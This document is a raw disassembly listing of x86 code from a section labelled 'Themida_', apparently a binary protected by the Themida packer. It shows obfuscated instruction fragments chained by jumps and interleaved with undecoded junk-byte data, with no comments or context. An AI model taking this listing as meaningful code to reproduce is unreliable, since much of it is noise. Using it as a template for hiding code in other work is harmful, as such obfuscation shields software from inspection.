		jmp	loc_55280E
; ---------------------------------------------------------------------------
		db 1
		dd 8104244Ch, 0ED042444h, 0E9367E59h, 0FFFFD1F2h, 31CBA52h
		dd 0E2C15F43h, 2BEA8102h, 94E318Fh, 24148BD1h, 0FFEF4DE9h
		dd 0B5C3BDFFh, 0C581BC29h, 75B0447h, 0ED81DD01h, 75B0447h
		dd 1420E9h, 24048F00h, 343E9h, 242C3300h, 33242C31h, 0CDE9242Ch
		dd 35FFFFB8h, 6D2F6F9Bh, 8B1C4709h, 0EC832404h,	0F1D8E904h
		dd 0F480FFFFh, 8BE600EFh, 89532404h, 4C381E3h, 0E9000000h
		dd 0FFFFF525h, 240C895Ch, 0FF8311E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A4FD:				; CODE XREF: Themida_:0055B653j
		push	ecx
		mov	ecx, 56FE5CF9h
		dec	ecx
		or	ecx, 4DA74795h
		jmp	loc_554EB6
; ---------------------------------------------------------------------------
		db 1
		dd 0B77EE9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A516:				; CODE XREF: Themida_:00556D56j
		movzx	ax, byte ptr [eax]
		push	small 3725h
		mov	[esp], ax
		jmp	loc_555387
; ---------------------------------------------------------------------------
		db 81h
		dd 0CA1B3AEEh, 34875B36h, 0B60F5C24h, 8B5450C8h, 0C4832404h
		dd 4BA5204h, 1000000h, 51525AD0h, 15CFE9h, 2B900h, 0CA010000h
		dd 74FF5259h, 148B0424h, 0E6895624h, 4C681h, 0C6830000h
		dd 24348704h, 890E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A572:				; CODE XREF: Themida_:0055BE44j
		mov	[esp], esi
		jmp	loc_55A39F
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 4EB81h, 1C870000h, 3CE95C24h
		db 84h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A58F:				; CODE XREF: Themida_:00558168j
		add	edi, 0BAE706C2h
		push	ecx
		mov	ecx, edi
		mov	eax, ecx
		pop	ecx
		pop	edi
		mov	edi, 5C723080h
		xor	edi, eax
		push	dword ptr [esp]
		jmp	loc_555F62
; ---------------------------------------------------------------------------


loc_55A5AB:				; CODE XREF: Themida_:0055C0FAj
		inc	eax
		add	eax, 1FCB0B56h
		add	esi, eax
		jmp	loc_5583D1
; ---------------------------------------------------------------------------
		dd 4E4CBB53h, 0DF01EB17h, 5FFE315Bh, 0D31BC681h, 0F5892817h
		dd 5AE5815Eh, 876FB64Fh, 87D7F7FDh, 4ACD81FDh, 8100A000h
		dd 0CC5452C5h, 0E9E80175h, 1A36h, 0E9D2F75Ah, 0FFFFD230h
		dd 4C2815Ah, 83000000h,	148704C2h, 53555C24h, 8B4B8CBBh
		dd 0FE8FE97Bh, 3C87FFFFh, 3C875C24h, 0ABE95C24h, 59FFFFB6h
		dd 652CC581h, 0ED81423Fh, 4F10662Bh, 0C16CC581h, 0EE29DC11h
		dd 0E9F0315Dh, 350Eh, 6624248Bh, 6824048Bh, 46F5h, 68242C89h
		dd 7412h, 89242C89h, 4C581E5h, 83000000h, 0AAE904EDh
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55A65F:				; CODE XREF: Themida_:005540A3j
		xchg	edx, [esp]
		jmp	loc_557172
; ---------------------------------------------------------------------------
		db 66h
		dd 57240C8Bh, 0E9505F54h, 0E90h, 24148B66h, 2C481h, 9FE90000h
		dd 31000026h, 81FA31D7h, 807825C2h, 0B9CA8123h,	81415C7Eh
		dd 4ECh, 24348900h, 7D7EFBBEh, 0E9F2296Fh, 2F9Ch, 0E9240489h
		dd 0FFFF815Eh, 0E9243C33h, 0FFFFCD88h
; ---------------------------------------------------------------------------


loc_55A6B8:				; CODE XREF: Themida_:00557322j
		xor	eax, 65EE0A04h
		sub	eax, 7B2F6D75h
		add	eax, 180373EAh
		push	ecx
		mov	ecx, 73993C1Fh
		jmp	loc_5596F8
; ---------------------------------------------------------------------------
		dw 815Ch
		dd 4ECh, 24148900h, 0FFF9D8E9h,	0E78957FFh, 4C781h, 0BB530000h
		dd 3AF87A5Eh, 0A5E9D3F7h, 50FFFFABh, 0FFB874E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A6FD:				; CODE XREF: Themida_:00552BBDj
		xchg	ebp, ebx
		add	ebx, 6DAA5476h
		and	ecx, ebx
		pop	ebx
		push	eax
		mov	eax, 35BB13B8h
		dec	eax
		shl	eax, 4
		shl	eax, 3
		add	eax, 6E953B88h
		add	ecx, 16E2377Ch
		add	ecx, 61107BFh
		add	ecx, eax
		sub	ecx, 61107BFh
		sub	ecx, 16E2377Ch
		jmp	loc_55B804
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 2
		dd 5B66F828h, 0C017B252h, 0DAF602E2h, 0C06BE280h, 0A2E903E2h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55A753:				; CODE XREF: Themida_:0055610Fj
		xor	edi, 239E796Dh
		add	edi, 0F88E0040h
		mov	ebx, edi
		jmp	loc_5535EE
; ---------------------------------------------------------------------------
		dw 0E230h
		dd 5324048Bh, 0C381E389h, 4, 4C381h, 1C870000h,	0D0305C24h
		dd 24148B66h, 81E28952h, 4C2h, 73BB5300h, 0E94AAD0Eh, 0FFFFD4E4h
; ---------------------------------------------------------------------------


loc_55A798:				; CODE XREF: Themida_:0055B058j
		mov	[esp], esi
		jmp	loc_553707
; ---------------------------------------------------------------------------
		dd 540FBD55h, 0E5810FEAh, 9817E99h, 8107EDC1h, 0C6DB16F5h
		dd 5DEE0107h, 34FF5B56h, 0E9575E24h, 0FFFFEE8Ch, 0B850DA01h
		dd 29B15696h, 5B58C201h, 233FE9h, 279D6800h, 1C890000h
		dd 4EC8124h, 89000000h,	39E92424h, 81FFFF97h, 0B01CBBC1h
		dd 0BE565878h, 2, 0E95EF101h, 0FFFFA0A0h, 0C8B665Ch, 0E9545124h
		dd 39E7h, 8304C483h, 3C8704C7h,	0C2815C24h, 4, 8704C283h
		dd 0F5C2414h, 0C268C8BEh, 89000074h, 0DBE9240Ch, 68FFFF7Fh
		dd 699Bh, 0E9241489h, 0FFFF7FCEh, 671DE8BEh, 4ED6F74Eh
		dd 0FFB972E9h, 446851FFh, 89000078h, 4832424h, 83590424h
		dd 40E904ECh
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A863:				; CODE XREF: Themida_:0055DC28j
		pop	ebp
		push	edi
		mov	edi, 5F3E70B8h
		jmp	loc_55B07F
; ---------------------------------------------------------------------------
		db 81h
		dd 0B3E24DC3h, 5BD889D8h, 0E0C1E8D1h, 20802D06h, 0E9533163h
		dd 0FFFFF284h
; ---------------------------------------------------------------------------


loc_55A888:				; CODE XREF: Themida_:0055548Fj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55DBE8
; ---------------------------------------------------------------------------
		db 30h
		dd 240C8BC8h, 4C481h, 90680000h, 0E900001Eh, 0FFFFF101h
		dd 86E9C101h, 89FFFFC2h, 2D6BE9E6h, 0E3890000h,	4C381h
		dd 0EB810000h, 4, 0FF9C0FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A8D9:				; CODE XREF: Themida_:0055370Dj
		mov	esi, ebp
		jmp	loc_55BADF
; ---------------------------------------------------------------------------
		dd 240C895Ch, 0DEBCE950h, 0EE81FFFFh, 0A0E225D9h, 295EF301h
		dd 875B5BDAh, 82E92414h, 89000021h, 5E542434h, 4C681h
		dd 0EC830000h, 241C8904h, 0FF8BBDE9h, 0E95266FFh, 0FFFFD8CCh
		dd 0B9ECE951h, 0EB81FFFFh, 2E264370h, 315BDA01h, 0C9815AD1h
		dd 49D2EA1h, 29B3E952h,	52660000h, 2EC81h, 89660000h, 9DB42404h
		dd 88E18851h, 0F709E9CAh, 0B59FFFFh, 0E6840FC9h, 83FFFFF9h
		dd 0C8904ECh, 56E18924h, 0FFFED7E9h, 4BA52FFh, 1000000h
		dd 0F2F1E9D0h, 0E281FFFFh, 24003400h, 0FFA61FE9h, 4C481FFh
		dd 0E9000000h, 0FFFFDBBAh, 0E904C483h, 0B51h, 6203A5F3h
		dd 0B2685638h, 89000032h, 0BE56241Ch, 3CE46318h, 0FF8F2DE9h
		dd 2434FFFFh, 0E924048Bh, 4C2h,	12F9BE56h, 0F2014190h
		dd 0DEA815Eh, 0E94CBCA3h, 3168h
; ---------------------------------------------------------------------------


loc_55A9CC:				; CODE XREF: Themida_:00555AF6j
		pop	ebx
		and	eax, esi
		pop	esi
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ebx
		push	41D8h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_558121
; ---------------------------------------------------------------------------
		dd 0E905E3C1h, 0FFFFD433h, 6FFEEB81h, 0DA013590h, 2414335Bh
		dd 0FF8113E9h, 242C87FFh, 0FCE9545Ch, 5DFFFFD8h, 54AE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55AA1A:				; CODE XREF: Themida_:0055BBEEj
		push	edi
		push	edx
		mov	edx, 0BAA5AE1h
		mov	edi, 2B8276C7h
		xor	edi, edx
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		push	ebx
		mov	ebx, 6230690Fh
		mov	ecx, 58917022h
		jmp	loc_55DCB6
; ---------------------------------------------------------------------------
		dw 335Dh
		dd 3C31243Ch, 243C3324h, 0E924248Bh, 0FFFFB0D3h
; ---------------------------------------------------------------------------


loc_55AA54:				; CODE XREF: Themida_:00552FA1j
		add	ecx, esi
		jmp	loc_5542D9
; ---------------------------------------------------------------------------
		db 66h
		dd 5366D2F7h, 902FBB66h, 66DA0166h, 0D301665Bh,	4EE9535Ah
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AA73:				; CODE XREF: Themida_:005528D8j
		push	esi
		push	ecx
		push	7C143B79h
		pop	ecx
		push	eax
		mov	eax, 69702FD9h
		jmp	loc_557726
; ---------------------------------------------------------------------------


loc_55AA86:				; CODE XREF: Themida_:005558B7j
		sub	[esp+4], eax
		pop	eax
		mov	ecx, [esp]
		jmp	loc_55B872
; ---------------------------------------------------------------------------


loc_55AA93:				; CODE XREF: Themida_:00557424j
		pop	edx
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55D752
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 70F4854h, 0C381D329h, 70F4854h, 8324148Bh, 0FB0104C4h
		dd 2701C381h, 33FF26B7h, 241C8B58h, 4C481h, 0BD550000h
		dd 71723027h, 0A416E957h, 24D3FFFFh, 0BE99C24h,	0FFFFFF7Dh
		dd 3E94077h, 81FFFF7Dh,	0C326BEE9h, 3378E939h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55AB16:				; CODE XREF: Themida_:0055A036j
		xor	[esp], ecx
		jmp	loc_55B0DC
; ---------------------------------------------------------------------------


loc_55AB1E:				; CODE XREF: Themida_:0055A38Fj
		jmp	loc_55280E
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24048900h, 4EC81h, 0E2E90000h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AB37:				; CODE XREF: Themida_:0055A1D6j
		add	esp, 4


loc_55AB3D:				; CODE XREF: Themida_:00559477j
		push	ecx
		jmp	loc_55D04D
; ---------------------------------------------------------------------------
		dd offset dword_457444+22A24h
		align 4
		dd 0FFFB5BE9h, 4EC83FFh, 0BE243489h, 34F30174h,	815EF789h
		dd 0A87B35C7h, 51CB2DCBh, 0F8290784h, 0B775E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AB6E:				; CODE XREF: Themida_:00559F93j
		add	edi, 0C0F65E04h
		add	edx, edi
		jmp	loc_55C9F5
; ---------------------------------------------------------------------------


loc_55AB7B:				; CODE XREF: Themida_:005583CCj
		jmp	loc_55280E
; ---------------------------------------------------------------------------
		dd 4C381h, 0C3830000h, 241C3302h, 33241C31h, 248B241Ch
		dd 0C8B6624h, 0D586824h, 0C890000h, 96E2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ABA6:				; CODE XREF: Themida_:00559D96j
		add	ebx, 1F5F07BFh
		and	ebx, 7D15146Ah
		sub	ebx, 188D420Ch
		and	ebx, 53FE2EB0h
		push	edi
		mov	edi, 34B42392h
		and	ebx, edi
		pop	edi
		add	ebx, 0FFCFFDF4h
		add	edx, ebx
		pop	ebx
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		pop	ecx
		push	eax
		mov	eax, 1CC52A4Dh
		add	eax, 218530B5h
		push	ecx
		mov	ecx, 6491532Fh
		shl	ecx, 3
		inc	ecx
		add	ecx, 585ACE0Ch
		and	eax, ecx
		pop	ecx
		shr	eax, 2
		shr	eax, 1
		sub	eax, 89B9DC9Dh
		add	ecx, 3C153C5Eh
		add	ecx, eax
		push	ebx
		jmp	loc_5574D6
; ---------------------------------------------------------------------------
		db 1
		dd 0CEC681C6h, 8B058666h, 0C4812404h, 4, 0FFE361E9h, 0A905ADFFh
		dd 0E9009B7Ch, 0CEAh, 83240C8Bh, 34FF04C4h, 24048B24h
		dd 0E904C483h, 645h, 3304EE83h,	34312434h, 24343324h, 0A545E95Ch
		dd 8B66FFFFh, 0E9572404h, 19EEh, 5C243C87h, 835AD701h
		dd 0EC8304EFh, 90A0E904h, 0B951FFFFh, 4, 0E959CB29h, 0FFFF8E31h
; ---------------------------------------------------------------------------


loc_55AC84:				; CODE XREF: Themida_:00556C82j
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	20F3h
		mov	[esp], ecx
		mov	ecx, 1
		jmp	loc_55B359
; ---------------------------------------------------------------------------
		dd 7CB551h, 0C74BE9E8h,	8B66FFFFh, 83502404h, 248904ECh
		dd 24048124h, 4, 8324048Bh, 0EC8104C4h,	4, 0E9243489h
		dd 0FFFFD98Eh, 2EA835Fh, 8904EC83h, 74FF2414h, 34FF0424h
		dd 45E95A24h, 0F700001Fh, 81DDF7DDh, 6FA586C5h,	0EC7E9A9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55ACFE:				; CODE XREF: Themida_:00554F61j
		push	ecx
		mov	ecx, 4
		mov	eax, ecx
		pop	ecx
		jmp	loc_558CBB
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	eax, 4
		push	ebx
		push	ecx
		push	0BFA7434h
		jmp	loc_55D3DC
; ---------------------------------------------------------------------------
		dd 5704C483h, 4BFh, 5FFE0100h, 31243433h, 34332434h, 4FF5C24h
		dd 0BFE99C24h, 5AFFFF7Ah, 7E9CA01h, 0E900002Bh,	0FFFF7AB2h
; ---------------------------------------------------------------------------


loc_55AD5C:				; CODE XREF: Themida_:00555074j
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_559E0F
; ---------------------------------------------------------------------------
		db 0D1h
		dd 75EE81EEh, 81074F27h, 473F1FEEh, 0DEB818Dh, 292AEA0Dh
		dd 0DC381F3h, 5E2AEA0Dh, 309EE9h, 81E28900h, 4C2h, 1FF8E900h
		dd 0D0210000h, 0FF2434FFh
		db 34h,	24h, 5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_556451
; ---------------------------------------------------------------------------
		db 58h,	0E9h, 0DBh
		dd 81FFFFDAh, 0FD6325E9h, 52D1015Fh, 0FD6325BAh, 5AD1015Fh
		dd 81F1015Ah, 0AD5F3AE9h, 0C1815E73h, 2, 31240C33h, 0C33240Ch
		dd 24248B24h, 9CC88566h, 0FF7A25E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55ADE9:				; CODE XREF: Themida_:00557F88j
		mov	edx, 4
		add	eax, edx
		pop	edx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_552DD8
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 0C489E924h, 3489FFFFh, 38346824h, 24890000h,	4B85024h
		dd 81000000h, 0AA04246Ch, 1652B7Bh, 81042444h, 0AA042444h
		dd 58652B7Bh, 8124348Bh, 4C4h, 4C68100h, 83000000h, 0CEE902C6h
		dd 0BB00002Eh, 4AA25F73h, 0FFC245E9h, 38FBBEFFh, 0E94E1B54h
		dd 0FFFFC0EBh
; ---------------------------------------------------------------------------


loc_55AE5C:				; CODE XREF: Themida_:0055542Aj
		push	eax
		push	3DCEh
		mov	[esp], edi
		mov	edi, 0BF856A3h
		push	edi
		push	ebx
		jmp	loc_55DC0D
; ---------------------------------------------------------------------------


loc_55AE71:				; CODE XREF: Themida_:0055C786j
		xor	eax, ecx
		pop	ecx
		push	ebx
		jmp	loc_55E347
; ---------------------------------------------------------------------------
		dw 8952h
		dd 4C281E2h, 83000000h,	148704C2h, 18E95C24h, 89FFFFECh
		dd 34DE9E6h, 0EB810000h, 4, 8B241C87h, 4892424h, 27E95424h
		dd 5B000022h, 0B76F992Dh, 5D8012Eh, 2EB76F99h, 56E1BB53h
		dd 0F3814902h, 14BE696Dh, 55BD829h, 1F2E4C7Eh, 0B850535Bh
		dd 5FDB5CD1h, 0FF7A8AE9h, 48F5FFFh, 68525624h, 7BCE6A39h
		dd 81DAF75Ah, 3195C3EAh, 28ACE984h, 5B5F0000h, 0FF841EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AEF9:				; CODE XREF: Themida_:005529C6j
		xchg	edx, [esp]
		mov	esp, [esp]
		push	1
		mov	eax, [esp]
		push	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		jmp	loc_558826
; ---------------------------------------------------------------------------


loc_55AF1B:				; CODE XREF: Themida_:00559935j
		sub	edx, 7D3202ADh
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		push	esi
		mov	esi, 6B894E6Dh
		jmp	loc_557FC2
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 5C241C87h, 8B242C87h, 0FF662424h,	0E99C2404h, 0FFFF78AAh
		dd 0B1615BBBh, 47BE904h, 0B8050000h, 29960FB7h,	348B58C7h
		dd 4C48124h, 83000000h,	0D16802C7h, 89000025h, 74FF243Ch
		dd 8F5F0424h, 248B2404h, 2AD4E924h, 34890000h, 1FBE24h
		dd 57E90B14h, 8BFFFFBEh, 0C481241Ch, 4,	280CE9h
		db 0
; ---------------------------------------------------------------------------


loc_55AFB5:				; CODE XREF: Themida_:00556D1Aj
		pop	edi
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		shl	ecx, 2
		push	esi
		push	ecx
		mov	ecx, 413C239Eh
		neg	ecx
		xor	ecx, 78A9563Fh
		or	ecx, 30622FD8h
		sub	ecx, 418ED04Ch
		push	ecx
		push	ebp
		mov	ebp, 107E2EE8h
		sub	[esp+4], ebp
		pop	ebp
		jmp	loc_5529F5
; ---------------------------------------------------------------------------
		dd 2BDh, 0A088E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B006:				; CODE XREF: Themida_:0055287Ej
		add	esp, 4
		add	esp, 4
		xor	eax, 0C71403h
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_552ACA
; ---------------------------------------------------------------------------


loc_55B020:				; CODE XREF: Themida_:00554416j
		pop	esp
		shl	eax, cl
		jmp	loc_552849
; ---------------------------------------------------------------------------
		dd 0E924048Bh, 0FFFF7BD2h, 240C8B66h, 0C8B5451h, 4C48324h
		dd 0FFE77AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B041:				; CODE XREF: Themida_:00556203j
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		push	564Dh
		jmp	loc_55A798
; ---------------------------------------------------------------------------


loc_55B05D:				; CODE XREF: Themida_:00558564j
		xor	eax, ebp
		pop	ebp
		push	esi
		push	edx
		mov	edx, 677C0573h
		mov	esi, 0C4B93861h
		sub	esi, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_559C76
; ---------------------------------------------------------------------------


loc_55B07F:				; CODE XREF: Themida_:0055A86Aj
		push	51F2h
		mov	[esp], esi
		mov	esi, 347B220Eh
		add	edi, esi
		jmp	loc_556E57
; ---------------------------------------------------------------------------
		db 0BAh
		dd 1FB830C9h, 4A03E2C1h, 0FFBDF3E9h, 44E781FFh,	4F05F516h
		dd 32EEE9h, 0C4815F00h,	4, 4C681h, 34870000h, 68685C24h
		dd 8900004Ch, 0BD55241Ch, 6CF82189h, 0E95DEB89h, 0FFFFA46Ch
		dd 0E904C483h, 0FFFF99A1h
; ---------------------------------------------------------------------------


loc_55B0DC:				; CODE XREF: Themida_:0055AB19j
		xor	ecx, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 0EDE4FE9h
		shl	ecx, 1
		and	ecx, 0AAF41AEh
		jmp	loc_55C780
; ---------------------------------------------------------------------------
		db 80h,	0EBh, 8Eh
		dd 0FF7CC2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B0FD:				; CODE XREF: Themida_:00558F0Dj
		pop	ebx
		shr	eax, 0Ch
		xor	eax, ecx
		push	eax
		xchg	edx, [esp]
		jmp	loc_554C5A
; ---------------------------------------------------------------------------
		dd 1E30E9ADh, 5C010000h, 585B0424h, 405h, 4C08300h, 0E9240433h
		dd 365Ch, 15FF889h, 0EE43E9C1h,	0F830FFFFh, 0FFC1885Bh
		dd 83582434h, 0C83004C4h, 240C8B66h, 5202C483h,	0B951E289h
		dd 4, 8359CA01h, 148704EAh, 1C895C24h, 0E908B724h, 0FFFFAFD3h
; ---------------------------------------------------------------------------


loc_55B164:				; CODE XREF: Themida_:0055483Dj
		add	esp, 4
		push	edx
		mov	edx, 0AE75C4Bh
		and	edx, 4E6307E8h
		sub	edx, 56B4B45h
		shr	edx, 8
		dec	edx
		add	edx, 564C7BCEh
		push	35BCh
		mov	[esp], ebx
		mov	ebx, 71C64984h
		jmp	loc_556D7D
; ---------------------------------------------------------------------------
		dd 578E94Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B19E:				; CODE XREF: Themida_:00552A6Aj
		sub	esi, eax
		mov	eax, [esp]
		add	esp, 4
		push	esi
		jmp	loc_558967
; ---------------------------------------------------------------------------
		db 31h
		dd 0C6815EF0h, 95764C3h, 4423C681h, 0C60171EFh,	2FDCE9h
		dd 240C8700h, 98B1515Ch, 0E959CB28h, 0FFFF84D9h, 285AF330h
		dd 0EA2C5BD8h, 11E9F800h, 81FFFFC6h, 4C6h, 4C68300h, 5C243487h
		dd 2ACDBA52h, 18E94774h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B1FB:				; CODE XREF: Themida_:005546FEj
		add	ecx, edi
		pop	edi
		push	ebx
		mov	ebx, 7DD05E9h
		add	ebx, 0F822FA1Bh
		sub	ecx, 645E2311h
		add	ecx, ebx
		jmp	loc_55A02C
; ---------------------------------------------------------------------------
		db 80h
		dd 0EC837BEBh, 3147E904h, 0BF570000h, 36B17B89h, 0C105EFC1h
		dd 814703E7h, 53A123C7h, 5FFA01F2h, 2C281h, 14330000h
		dd 24143124h, 8B241433h, 0ABE92424h, 0BDFFFFF8h, 7F7216A4h
		dd 8103EDC1h, 1C1ACAC5h, 0EBE5815Dh, 8166032Bh,	0FD15D4E5h
		dd 82F5813Bh, 1200001h,	0F7CCE9EFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B276:				; CODE XREF: Themida_:0055695Dj
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_558CDB
; ---------------------------------------------------------------------------


loc_55B287:				; CODE XREF: Themida_:005572FAj
		push	eax
		jmp	loc_558B7F
; ---------------------------------------------------------------------------
		db 56h,	89h, 0E6h
		dd 4C681h, 0D9E90000h, 0FFFFFF8Eh, 815B2434h, 4C4h, 81DBF700h
		dd 95E871F3h, 5BDA8993h, 148BD329h, 0DAE924h, 0C3280000h
		dd 24E95266h
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B2C3:				; CODE XREF: Themida_:00554CF7j
		add	ebx, eax
		push	ecx
		mov	ecx, 3A235E63h
		jmp	loc_556712
; ---------------------------------------------------------------------------
		dd 750DEA81h, 0DA013548h, 0FFA2F7E9h, 240C89FFh, 0FFAC6DE9h
		dd 4C481FFh, 83000000h,	686804C0h, 8900001Bh, 74FF2404h
		dd 0E9580424h, 0FFFF7CFCh, 4B8h, 0D2EB8100h, 114111Fh
		dd 0D2C381C3h, 5814111Fh, 31241C33h, 1C33241Ch,	13D6E924h
		dd 81430000h, 0E5ACA1EBh, 5BDF09E0h, 0B951D7F7h, 28616D2Eh
		dd 1AE5E9h, 23D2BE00h, 0E68152E5h, 113454F9h, 0C681DEF7h
		dd 61B7595Bh, 0BDC3EE81h, 0F301BB48h, 0FF7EC1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B359:				; CODE XREF: Themida_:0055ACA3j
		and	eax, ecx
		jmp	loc_557986
; ---------------------------------------------------------------------------


loc_55B360:				; CODE XREF: Themida_:005563FEj
		pop	esp
		jmp	loc_55A166
; ---------------------------------------------------------------------------
		dw 5966h
		dd 81B15150h, 0C045C980h, 0C98007E9h, 80D1F6C6h, 0E9809EC1h
		dd 59C8883Eh, 0C003E0C0h, 9E908E0h, 0FFFFFFA1h,	0E9592434h
		dd 0FFFFF441h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55723F
; ---------------------------------------------------------------------------
		dd 8702C783h, 0E95C243Ch, 0FFFFC393h, 669BD55h,	0EF214174h
		dd 83242C8Bh, 0EF8304C4h, 0C6E78101h, 516C8E44h, 2B03D768h
		dd 0C981597Ah, 6E3954ECh, 4546E981h, 0CF315E4Dh, 5FFD0959h
		dd 1B04E9h, 0ACEB8100h,	0E9CEE647h, 20A1h, 7414E958h, 0D301FFFFh
		dd 4B26EB81h, 0E95A53E9h, 0FFFFD205h, 575AD301h, 0F20E0FBFh
		dd 0DEF8138h, 5638F20Eh, 6F31D4BEh, 5EF3292Fh, 2A21C381h
		dd 0FB01340Dh, 104CE9h
		db 0
; ---------------------------------------------------------------------------


loc_55B42D:				; CODE XREF: Themida_:00554FC9j
		sub	esi, 63533BA4h
		sub	esi, 781EFE2Eh
		sub	esi, eax
		jmp	loc_55410E
; ---------------------------------------------------------------------------
		dd 34FFC101h, 0C4835824h, 0B9515604h, 649C4936h, 63B6CEBEh
		dd 59CE019Bh, 515EF101h, 42474FFh, 152CE9h, 98CF8000h
		dd 302FF780h, 7D2C5BFAh, 327CE9h, 0CE805800h, 80C6FE61h
		dd 0F028B9EEh, 4C8285Ah, 2434FF2Dh, 0FF91F6E9h,	58C189FFh
		dd 5D0FC181h, 0E181596Dh, 23E008C8h, 7843F181h,	0BE5607E2h
		dd 1F775977h, 6CE9F131h, 0F600001Fh, 0E99C241Ch, 0FFFF7356h
		dd 9D1C77FFh, 1CD35966h, 47E99C24h, 0ADFFFF73h,	207F83h
		dd 7EFD840Fh, 0EE81FFFFh, 16AE4562h, 207EBD55h,	0EE2965B7h
		dd 106BE9h, 38E95000h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B4EB:				; CODE XREF: Themida_:00556849j
		add	eax, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_558189
; ---------------------------------------------------------------------------
		dd 1677BA52h, 0D0897220h, 6E8C15Ah, 991DFB2Dh, 0E389537Ch
		dd 4C381h, 0EB830000h, 241C8704h, 0E5FDE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B52A:				; CODE XREF: Themida_:0055B991j
		mov	ebp, [esp]
		add	esp, 4
		sub	ebp, 0FFFFFFFFh
		not	ebp
		push	0
		sub	dword ptr [esp], 56981E8Ch
		add	dword ptr [esp], 0E1D0889h
		sub	[esp], ebp
		sub	dword ptr [esp], 0E1D0889h
		add	dword ptr [esp], 56981E8Ch
		jmp	loc_5594DB
; ---------------------------------------------------------------------------


loc_55B561:				; CODE XREF: Themida_:00552E29j
		pop	edx
		add	edx, 4
		push	edi
		push	ebx
		mov	ebx, 13BF6523h
		jmp	loc_553F8B
; ---------------------------------------------------------------------------
		dd 0E9240433h, 0FFFFB758h, 0E904C483h, 0FFFF7B48h, 5704C483h
		dd 24BFh, 0A6C68100h, 1164F72h,	0A6EE81FEh, 8B164F72h
		dd 4C68243Ch, 8900004Bh, 0E0892404h, 4B951h, 0DE050000h
		dd 115AC0Ch, 0CDE2DC8h,	0E95915ACh, 0FFFF9D21h,	5D459BB9h
		dd 4B802D6Fh, 0C8296968h, 684B8005h, 94E95969h,	87FFFF97h
		dd 0E95C241Ch, 0FFFFE5D3h
; ---------------------------------------------------------------------------


loc_55B5E0:				; CODE XREF: Themida_:00558CC2j
		sub	esp, 4
		mov	[esp], edi
		push	4E40C92h
		pop	edi
